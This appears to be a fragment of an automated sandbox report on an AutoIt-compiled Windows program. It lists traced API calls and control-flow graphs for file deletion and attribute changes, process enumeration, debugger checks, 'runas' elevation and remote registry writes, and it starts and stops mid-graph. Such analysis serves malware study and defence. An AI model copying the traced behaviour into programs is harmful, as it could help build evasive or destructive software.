101926 8d8aac 101930 8d8ace 101926->101930 101959 8cf633 20 API calls __dosmaperr 101926->101959 101928 8d8a7d 101927->101928 101931 8d5754 __wsopen_s 26 API calls 101928->101931 101929->101921 101932 8d8a9e GetLastError 101929->101932 101930->101864 101931->101924 101932->101921 101934->101867 101935->101871 101936->101868 101939 8e0777 101937->101939 101938 8e0792 101938->101883 101939->101938 101950 8cf669 20 API calls __dosmaperr 101939->101950 101941 8e07b6 101951 8d2b7c 26 API calls __fread_nolock 101941->101951 101943 8e07c1 101943->101883 101944->101881 101945->101877 101946->101888 101947->101884 101948->101887 101949->101893 101950->101941 101951->101943 101952->101899 101957 8d3336 LeaveCriticalSection 101953->101957 101955 8d56c1 101955->101901 101956->101897 101957->101955 101958->101926 101959->101930

                                                              Executed Functions

                                                              Function 008A5D78 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235libraryloaderCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 515 8a5d78-8a5de7 call 8abf07 GetVersionExW call 8a84b7 520 8e4f0c-8e4f1f 515->520 521 8a5ded 515->521 523 8e4f20-8e4f24 520->523 522 8a5def-8a5df1 521->522 524 8e4f4b 522->524 525 8a5df7-8a5e56 call 8a96d9 call 8a79ed 522->525 526 8e4f26 523->526 527 8e4f27-8e4f33 523->527 530 8e4f52-8e4f5e 524->530 540 8e50ad-8e50b4 525->540 541 8a5e5c-8a5e5e 525->541 526->527 527->523 529 8e4f35-8e4f37 527->529 529->522 532 8e4f3d-8e4f44 529->532 534 8a5ecc-8a5ee6 GetCurrentProcess IsWow64Process 530->534 532->520 533 8e4f46 532->533 533->524 536 8a5ee8 534->536 537 8a5f45-8a5f4b 534->537 539 8a5eee-8a5efa 536->539 537->539 542 8a5f00-8a5f0f LoadLibraryA 539->542 543 8e50f2-8e50f6 GetSystemInfo 539->543 546 8e50b6 540->546 547 8e50d4-8e50d7 540->547 544 8e4fae-8e4fc1 541->544 545 8a5e64-8a5e67 541->545 550 8a5f4d-8a5f57 GetSystemInfo 542->550 551 8a5f11-8a5f1f GetProcAddress 542->551 552 8e4fea-8e4fec 544->552 553 8e4fc3-8e4fcc 544->553 545->534 554 8a5e69-8a5eab 545->554 555 8e50bc 546->555 548 8e50d9-8e50e8 547->548 549 8e50c2-8e50ca 547->549 548->555 556 8e50ea-8e50f0 548->556 549->547 558 8a5f27-8a5f29 550->558 551->550 557 8a5f21-8a5f25 GetNativeSystemInfo 551->557 562 8e4fee-8e5003 552->562 563 8e5021-8e5024 552->563 559 8e4fce-8e4fd4 553->559 560 8e4fd9-8e4fe5 553->560 554->534 561 8a5ead-8a5eb0 554->561 555->549 556->549 557->558 568 8a5f2b-8a5f2c FreeLibrary 558->568 569 8a5f32-8a5f44 558->569 559->534 560->534 570 8a5eb6-8a5ec0 561->570 571 8e4f63-8e4f6d 561->571 564 8e5005-8e500b 562->564 565 8e5010-8e501c 562->565 566 8e505f-8e5062 563->566 567 8e5026-8e5041 563->567 564->534 565->534 566->534 576 8e5068-8e508f 566->576 572 8e504e-8e505a 567->572 573 8e5043-8e5049 567->573 568->569 570->530 577 8a5ec6 570->577 574 8e4f6f-8e4f7b 571->574 575 8e4f80-8e4f8a 571->575 572->534 573->534 574->534 578 8e4f8c-8e4f98 575->578 579 8e4f9d-8e4fa9 575->579 580 8e509c-8e50a8 576->580 581 8e5091-8e5097 576->581 577->534 578->534 579->534 580->534 581->534
                                                              APIs
                                                              • GetVersionExW.KERNEL32(?), ref: 008A5DA7
                                                                • Part of subcall function 008A84B7: _wcslen.LIBCMT ref: 008A84CA
                                                              • GetCurrentProcess.KERNEL32(?,0093DC2C,00000000,?,?), ref: 008A5ED3
                                                              • IsWow64Process.KERNEL32(00000000,?,?), ref: 008A5EDA
                                                              • LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 008A5F05
                                                              • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 008A5F17
                                                              • GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 008A5F25
                                                              • FreeLibrary.KERNEL32(00000000,?,?), ref: 008A5F2C
                                                              • GetSystemInfo.KERNEL32(?,?,?), ref: 008A5F51
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
                                                              • String ID: GetNativeSystemInfo$kernel32.dll$|O
                                                              • API String ID: 3290436268-3101561225
                                                              • Opcode ID: 57046c7c5606dd616c7584993d4340a1c0f89ce6bc367af506a3252236021606
                                                              • Instruction ID: 48566e32ff8f40cb460323ba7b28b3996dfe83f297fc228220f1e29d2c3ff1d9
                                                              • Opcode Fuzzy Hash: 57046c7c5606dd616c7584993d4340a1c0f89ce6bc367af506a3252236021606
                                                              • Instruction Fuzzy Hash: 23A1B03383E7C4CFD715DB697C411A93FA4BB27B04B045899E48CD72A2D63849C8EB62
                                                              Function 00919F9F Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 582 919f9f-919fc7 FindFirstFileW 583 919fc9-919fde call 8c55c2 582->583 584 91a03a-91a045 FindClose 582->584 593 919fe0-919ff5 call 8c55c2 583->593 594 91a028-91a038 FindNextFileW 583->594 586 91a0e2 584->586 587 91a04b-91a05e FindFirstFileW 584->587 589 91a0e4-91a0e8 586->589 590 91a060-91a066 587->590 591 91a0d9 587->591 592 91a069-91a070 590->592 595 91a0db-91a0dc FindClose 591->595 596 91a072-91a087 call 8c55c2 592->596 597 91a0c7-91a0d7 FindNextFileW 592->597 593->594 602 919ff7-91a020 GetFileAttributesW SetFileAttributesW 593->602 594->583 594->584 595->586 596->597 603 91a089-91a09e call 8c55c2 596->603 597->591 597->592 604 91a026 602->604 605 91a0eb-91a0f4 FindClose 602->605 603->597 608 91a0a0-91a0be SetCurrentDirectoryW call 919f9f 603->608 604->594 605->589 611 91a0c0-91a0c5 SetCurrentDirectoryW 608->611 612 91a0f6-91a0f8 608->612 611->597 612->595
                                                              APIs
                                                              • FindFirstFileW.KERNELBASE(?,?,76228FB0,?,00000000), ref: 00919FC0
                                                              • GetFileAttributesW.KERNELBASE(?), ref: 00919FFE
                                                              • SetFileAttributesW.KERNELBASE(?,?), ref: 0091A018
                                                              • FindNextFileW.KERNELBASE(00000000,?), ref: 0091A030
                                                              • FindClose.KERNEL32(00000000), ref: 0091A03B
                                                              • FindFirstFileW.KERNEL32(*.*,?), ref: 0091A057
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0091A0A7
                                                              • SetCurrentDirectoryW.KERNEL32(00967B94), ref: 0091A0C5
                                                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 0091A0CF
                                                              • FindClose.KERNEL32(00000000), ref: 0091A0DC
                                                              • FindClose.KERNEL32(00000000), ref: 0091A0EC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                              • String ID: *.*
                                                              • API String ID: 1409584000-438819550
                                                              • Opcode ID: 98274175bbbdcefc7a77f347b4485c847c18cc35cafe5acae3a3d0fc34f412e4
                                                              • Instruction ID: ac1b0885196319ea279887e74335f32cb698477bc3bae0f4f3105bce7df32fdb
                                                              • Opcode Fuzzy Hash: 98274175bbbdcefc7a77f347b4485c847c18cc35cafe5acae3a3d0fc34f412e4
                                                              • Instruction Fuzzy Hash: B031C33260621D6BDB109FB4EC59AEE73ACEF4A324F104195F825E3090DB34DE849E51
                                                              Function 008A3312 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 148windowCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,008A32EF,?), ref: 008A3342
                                                              • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,008A32EF,?), ref: 008A3355
                                                              • GetFullPathNameW.KERNEL32(00007FFF,?,?,00972418,00972400,?,?,?,?,?,?,008A32EF,?), ref: 008A33C1
                                                                • Part of subcall function 008A84B7: _wcslen.LIBCMT ref: 008A84CA
                                                                • Part of subcall function 008A41E6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,008A33E9,00972418,?,?,?,?,?,?,?,008A32EF,?), ref: 008A4227
                                                              • SetCurrentDirectoryW.KERNELBASE(?,00000001,00972418,?,?,?,?,?,?,?,008A32EF,?), ref: 008A3442
                                                              • MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse user this program.,AutoIt,00000010), ref: 008E3C8A
                                                              • SetCurrentDirectoryW.KERNEL32(?,00972418,?,?,?,?,?,?,?,008A32EF,?), ref: 008E3CCB
                                                              • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,009631F4,00972418,?,?,?,?,?,?,?,008A32EF), ref: 008E3D54
                                                              • ShellExecuteW.SHELL32(00000000,?,?), ref: 008E3D5B
                                                                • Part of subcall function 008A345A: GetSysColorBrush.USER32(0000000F), ref: 008A3465
                                                                • Part of subcall function 008A345A: LoadCursorW.USER32(00000000,00007F00), ref: 008A3474
                                                                • Part of subcall function 008A345A: LoadIconW.USER32(00000063), ref: 008A348A
                                                                • Part of subcall function 008A345A: LoadIconW.USER32(000000A4), ref: 008A349C
                                                                • Part of subcall function 008A345A: LoadIconW.USER32(000000A2), ref: 008A34AE
                                                                • Part of subcall function 008A345A: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 008A34C6
                                                                • Part of subcall function 008A345A: RegisterClassExW.USER32(?), ref: 008A3517
                                                                • Part of subcall function 008A353A: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 008A3568
                                                                • Part of subcall function 008A353A: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 008A3589
                                                                • Part of subcall function 008A353A: ShowWindow.USER32(00000000,?,?,?,?,?,?,008A32EF,?), ref: 008A359D
                                                                • Part of subcall function 008A353A: ShowWindow.USER32(00000000,?,?,?,?,?,?,008A32EF,?), ref: 008A35A6
                                                                • Part of subcall function 008A38F2: Shell_NotifyIconW.SHELL32(00000000,?), ref: 008A39C3
                                                              Strings
                                                              • AutoIt, xrefs: 008E3C7F
                                                              • It is a violation of the AutoIt EULA to attempt to reverse user this program., xrefs: 008E3C84
                                                              • runas, xrefs: 008E3D4F
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__wcslen
                                                              • String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse user this program.$runas
                                                              • API String ID: 683915450-2030392706
                                                              • Opcode ID: b7094f886252d2aaba1970793c8eefe695023ee6a4fdc67b9f098c06701c5978
                                                              • Instruction ID: 361e2ef1b9c2dc0a3dcec613db5c97eff75c64b4bac3e169e13b42b786d72a8f
                                                              • Opcode Fuzzy Hash: b7094f886252d2aaba1970793c8eefe695023ee6a4fdc67b9f098c06701c5978
                                                              • Instruction Fuzzy Hash: 8D51483111C384AEE711EF64EC1597E7BA8FF96708F40442CF485D31A2CB608A89EB63
                                                              Function 0090D836 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1336 90d836-90d894 call 8abf07 * 3 call 8a557e * 2 call 90e958 call 90e9c5 1351 90d896-90d89a call 8a65a4 1336->1351 1352 90d89f-90d8a9 call 90e9c5 1336->1352 1351->1352 1356 90d8b4-90d8f2 call 8abf07 * 2 call 8a694e FindFirstFileW 1352->1356 1357 90d8ab-90d8af call 8a65a4 1352->1357 1365 90da23-90da2a FindClose 1356->1365 1366 90d8f8 1356->1366 1357->1356 1367 90da2d-90da5b call 8abd2c * 5 1365->1367 1368 90d8fe-90d900 1366->1368 1368->1365 1370 90d906-90d90d 1368->1370 1372 90d913-90d979 call 8ab25f call 90df85 call 8abd2c call 8a7af4 call 8a65a4 call 90dc8e 1370->1372 1373 90d9ef-90da02 FindNextFileW 1370->1373 1395 90d97b-90d97e 1372->1395 1396 90d99f-90d9a3 1372->1396 1373->1368 1376 90da08-90da0d 1373->1376 1376->1368 1397 90da12-90da21 FindClose call 8abd2c 1395->1397 1398 90d984-90d99b call 8be2e5 1395->1398 1399 90d9d1-90d9d7 call 90da5c 1396->1399 1400 90d9a5-90d9a8 1396->1400 1397->1367 1410 90d9ad-90d9b6 MoveFileW 1398->1410 1413 90d99d DeleteFileW 1398->1413 1407 90d9dc 1399->1407 1404 90d9b8-90d9c8 call 90da5c 1400->1404 1405 90d9aa 1400->1405 1404->1397 1414 90d9ca-90d9cf DeleteFileW 1404->1414 1405->1410 1411 90d9df-90d9e1 1407->1411 1410->1411 1411->1397 1415 90d9e3-90d9eb call 8abd2c 1411->1415 1413->1396 1414->1411 1415->1373
                                                              APIs
                                                                • Part of subcall function 008A557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,008A5558,?,?,008E4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 008A559E
                                                                • Part of subcall function 0090E9C5: GetFileAttributesW.KERNELBASE(?,0090D755), ref: 0090E9C6
                                                              • FindFirstFileW.KERNELBASE(?,?), ref: 0090D8E2
                                                              • DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0090D99D
                                                              • MoveFileW.KERNEL32(?,?), ref: 0090D9B0
                                                              • DeleteFileW.KERNEL32(?,?,?,?), ref: 0090D9CD
                                                              • FindNextFileW.KERNELBASE(00000000,00000010), ref: 0090D9F7
                                                                • Part of subcall function 0090DA5C: CopyFileExW.KERNELBASE(?,?,00000000,00000000,00000000,00000008,?,?,0090D9DC,?,?), ref: 0090DA72
                                                              • FindClose.KERNEL32(00000000,?,?,?), ref: 0090DA13
                                                              • FindClose.KERNEL32(00000000), ref: 0090DA24
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
                                                              • String ID: \*.*
                                                              • API String ID: 1946585618-1173974218
                                                              • Opcode ID: 82620d8911ccb90d1df33e1138ac0a4ba2cd3976998655030e962e05b62b4f1d
                                                              • Instruction ID: 70909999c818ef3c1ad538376a03d3584fb6add6b6e45a3ee4f4503fd9b8a07e
                                                              • Opcode Fuzzy Hash: 82620d8911ccb90d1df33e1138ac0a4ba2cd3976998655030e962e05b62b4f1d
                                                              • Instruction Fuzzy Hash: 5D615B3180614DAEDF05EBE8DA52AEDB7B9EF16300F244065E412B71A2EB346F09DB51
                                                              Function 0090DB69 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,008A5558,?,?,008E4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 008A559E
                                                                • Part of subcall function 0090E9C5: GetFileAttributesW.KERNELBASE(?,0090D755), ref: 0090E9C6
                                                              • FindFirstFileW.KERNELBASE(?,?), ref: 0090DBE0
                                                              • DeleteFileW.KERNELBASE(?,?,?,?), ref: 0090DC30
                                                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 0090DC41
                                                              • FindClose.KERNEL32(00000000), ref: 0090DC58
                                                              • FindClose.KERNEL32(00000000), ref: 0090DC61
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
                                                              • String ID: \*.*
                                                              • API String ID: 2649000838-1173974218
                                                              • Opcode ID: 7aff2f4b754ac83ce5b600c715c9c6dde84dba742902c3d2f9ea3966fc0015cc
                                                              • Instruction ID: 8eb26bcd4a23575a754f903b4afdf05afefa4ba86e5d29ade84039af9954c61c
                                                              • Opcode Fuzzy Hash: 7aff2f4b754ac83ce5b600c715c9c6dde84dba742902c3d2f9ea3966fc0015cc
                                                              • Instruction Fuzzy Hash: 81314D314193859FD300EBA8D8959AFB7E8BE92304F44491DF4E1D31A2EB64DA09DB93
                                                              Function 0090DC9C Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateToolhelp32Snapshot.KERNEL32 ref: 0090DCC1
                                                              • Process32FirstW.KERNEL32(00000000,?), ref: 0090DCCF
                                                              • Process32NextW.KERNEL32(00000000,?), ref: 0090DCEF
                                                              • CloseHandle.KERNELBASE(00000000), ref: 0090DD9C
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                                              • String ID:
                                                              • API String ID: 420147892-0
                                                              • Opcode ID: 15c71a8a221b248667e556b73fcc746299fac8a56968f309c97a2ceda48865f6
                                                              • Instruction ID: b4913855595aecc606ecd6a1bacad290465a3968d7af3a9917ea6caab562bdea
                                                              • Opcode Fuzzy Hash: 15c71a8a221b248667e556b73fcc746299fac8a56968f309c97a2ceda48865f6
                                                              • Instruction Fuzzy Hash: 7B314F711082009FD305EFA4D885AABBBE8FF99350F04092DF585C61A2EB71A945CB92
                                                              Function 0090E387 Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • lstrlenW.KERNEL32(?,008E4686), ref: 0090E397
                                                              • GetFileAttributesW.KERNELBASE(?), ref: 0090E3A6
                                                              • FindFirstFileW.KERNELBASE(?,?), ref: 0090E3B7
                                                              • FindClose.KERNEL32(00000000), ref: 0090E3C3
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FileFind$AttributesCloseFirstlstrlen
                                                              • String ID:
                                                              • API String ID: 2695905019-0
                                                              • Opcode ID: 7fb0445d48ca5fb425ff80286476e2cf8027cc7a0a1fb26d827320207c99ca3d
                                                              • Instruction ID: 5db4dd868f617124d1181a416077f9f3ee901018dd418e979bc69693e8cc9441
                                                              • Opcode Fuzzy Hash: 7fb0445d48ca5fb425ff80286476e2cf8027cc7a0a1fb26d827320207c99ca3d
                                                              • Instruction Fuzzy Hash: A6F0E53082A9105BC211773CBC0D8AB7BAD9E41335B104B11F835C30F0D7B0DDA55AD5
                                                              Function 008C5078 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32(?,?,008C504E,?,009698D8,0000000C,008C51A5,?,00000002,00000000), ref: 008C5099
                                                              • TerminateProcess.KERNEL32(00000000,?,008C504E,?,009698D8,0000000C,008C51A5,?,00000002,00000000), ref: 008C50A0
                                                              • ExitProcess.KERNEL32 ref: 008C50B2
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Process$CurrentExitTerminate
                                                              • String ID:
                                                              • API String ID: 1703294689-0
                                                              • Opcode ID: 37873655bd275ecd593f8ce2f76bec0145ef35af0139af0b3225266fc5beeb44
                                                              • Instruction ID: a365e7f613458f7acbc5243f5c5ba949f7d8aff461efe1ee269d4f6a01c0e946
                                                              • Opcode Fuzzy Hash: 37873655bd275ecd593f8ce2f76bec0145ef35af0139af0b3225266fc5beeb44
                                                              • Instruction Fuzzy Hash: E1E0B631415948AFCF216F68ED19F583B7AFB41385F004018F805CA122DB35ED92DF91
                                                              Function 008FE5F8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetUserNameW.ADVAPI32(?,?), ref: 008FE60A
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: NameUser
                                                              • String ID: X64
                                                              • API String ID: 2645101109-893830106
                                                              • Opcode ID: 80863f8200390597cdbb3daf777e9eba69c21dfccfe80fc12d6d5f7736d29c65
                                                              • Instruction ID: ec30ab5b7273c75c4fa1bec7fb58032c278481863b387a667d0c37f9ded1bf2b
                                                              • Opcode Fuzzy Hash: 80863f8200390597cdbb3daf777e9eba69c21dfccfe80fc12d6d5f7736d29c65
                                                              • Instruction Fuzzy Hash: FDD0C9B481511DEACF90CBA0EC88DDD73BCFB14308F100151F106E2100D734A5489F20
                                                              Function 0092CD16 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 0 92cd16-92cd5a call 8abf07 * 3 7 92cd65-92cdd8 call 8a8e70 call 92d6b1 call 92d2f7 0->7 8 92cd5c-92cd5f 0->8 21 92cdda-92cde8 7->21 22 92ce08-92ce0d 7->22 8->7 9 92ce64-92ce71 call 8ae650 8->9 15 92d1ef-92d212 call 8abd2c * 3 9->15 24 92cdea 21->24 25 92cded-92cdfd 21->25 27 92ce0f-92ce24 RegConnectRegistryW 22->27 28 92ce7c 22->28 24->25 29 92ce02-92ce06 25->29 30 92cdff 25->30 33 92ce76-92ce7a 27->33 34 92ce26-92ce43 call 8a7ab0 27->34 31 92ce80-92ceab RegCreateKeyExW 28->31 35 92ce61-92ce63 29->35 30->29 36 92cf0e-92cf13 31->36 37 92cead-92ceca call 8a7ab0 31->37 33->31 47 92ce45 34->47 48 92ce48-92ce58 34->48 35->9 40 92d1d6-92d1e7 RegCloseKey 36->40 41 92cf19-92cf42 call 8a8e70 call 8c4db8 36->41 50 92cecf-92cede 37->50 51 92cecc 37->51 40->15 44 92d1e9-92d1ed RegCloseKey 40->44 59 92cf96-92cfb9 call 8a8e70 call 8c4db8 41->59 60 92cf44-92cf91 call 8a8e70 call 8c4cf3 call 8a8e70 * 2 41->60 44->15 47->48 52 92ce5a 48->52 53 92ce5d 48->53 55 92cee3-92cef9 call 8ae650 50->55 56 92cee0 50->56 51->50 52->53 53->35 55->15 64 92ceff-92cf09 RegCloseKey 55->64 56->55 71 92d047-92d06a call 8a8e70 call 8c4db8 59->71 72 92cfbf-92d019 call 8a8e70 call 8c4cf3 call 8a8e70 * 2 RegSetValueExW 59->72 85 92d2bb-92d2c7 RegSetValueExW 60->85 64->15 87 92d070-92d0d6 call 8a8e70 call 8c019b call 8a8e70 call 8a605e 71->87 88 92d156-92d179 call 8a8e70 call 